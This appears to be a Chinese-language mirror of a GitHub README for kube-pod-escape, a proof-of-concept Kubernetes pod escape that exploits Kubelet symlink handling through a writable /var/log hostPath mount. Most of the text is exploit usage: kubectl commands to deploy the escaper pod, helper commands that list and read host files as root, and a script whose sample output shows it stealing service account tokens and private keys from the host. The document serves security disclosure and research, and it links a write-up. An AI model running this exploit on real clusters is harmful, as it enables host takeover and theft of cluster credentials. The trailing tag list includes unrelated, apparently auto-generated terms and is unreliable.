danielsagi/kube-pod-escape
GitHub: danielsagi/kube-pod-escape
利用 Kubelet 符号链接漏洞和 /var/log 写入权限实现从 Pod 逃逸至宿主机的概念验证工具
Stars: 100 | Forks: 14
# Kubelet 针对 /var/log 挂载的漏洞利用
Kube-pod-escape 是一个针对 Kubelet 日志文件服务中符号链接跟随行为漏洞的 POC,结合一个对 /var/log 具有写入权限的 hostPath 挂载的 Pod。
此 POC 展示了利用该挂载的 Pod 的结果,以及它如何逃逸到主机。
关于此发现的更多信息可以在以下[博客文章](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)中阅读
[](https://asciinema.org/a/260371?speed=2)
此仓库包含运行此漏洞利用的所有文件和相关代码。
## 前置条件
一个 Kubernetes 集群,
使用 `kubectl logs ` 获取日志没有限制
## 运行漏洞利用
首先,通过以下方式创建 Pod:
```
$ kubectl create -f escaper.yml
pod "escaper" created
```
创建 Pod 后,进入 escaper Pod。
```
$ kubectl exec -it escaper bash
➜ root@escaper:~/exploit$ lsh
Usage: [cath|lsh]
```
### lsh
功能类似于 ls,但在主机上使用 root 权限。
### cath
功能类似于 cat,但在主机上使用 root 权限。
示例:
```
$ kubectl exec -it escaper bash
➜ root@escaper:~/exploit$ lsh /proc
1/
10/
10034/
10042/
10047/
....
```
## 提取敏感数据
除了提供的 lsh 和 cath 命令外,在 `~/exploit` 文件夹内,还有一个 Python 脚本,它会自动定位并从主机下载私钥文件,以及 Kubernetes 服务账号令牌。
_(为了查找令牌,该脚本会搜索 /var/lib/kubelet/pods 文件夹。这样它就可以读取主机上运行的每个 Pod 的挂载 .token 文件)_
## 运行脚本
```
$ kubectl exec -it escaper bash
➜ root@escaper:~/exploit$ python find_sensitive_files.py
[*] Got access to kubelet /logs endpoint
[+] creating symlink to host root folder inside /var/log
[*] fetching token files from host
[+] extracted hostfile: /var/lib/kubelet/pods/6d67bed2-abe3-11e9-9888-42010a8e020e/volumes/kubernetes.io~secret/metadata-agent-token-xjfh9/token
[*] fetching private key files from host
[+] extracted hostfile: /home/ubuntu/.ssh/private.key
[+] extracted hostfile: /etc/srv/kubernetes/pki/kubelet.key
...
```
令牌文件下载至:`/root/exploit/host_files/tokens`
密钥文件下载至:`/root/exploit/host_files/private_keys`
标签:hostPath, Hybrid Kubelet, Kubelet, POC, Root权限, StruQ, /var/log, Web截图, Web报告查看器, 主机挂载, 协议分析, 子域名突变, 容器安全, 容器逃逸, 应用安全, 敏感文件提取, 服务账户令牌, 权限提升, 符号链接, 逆向工具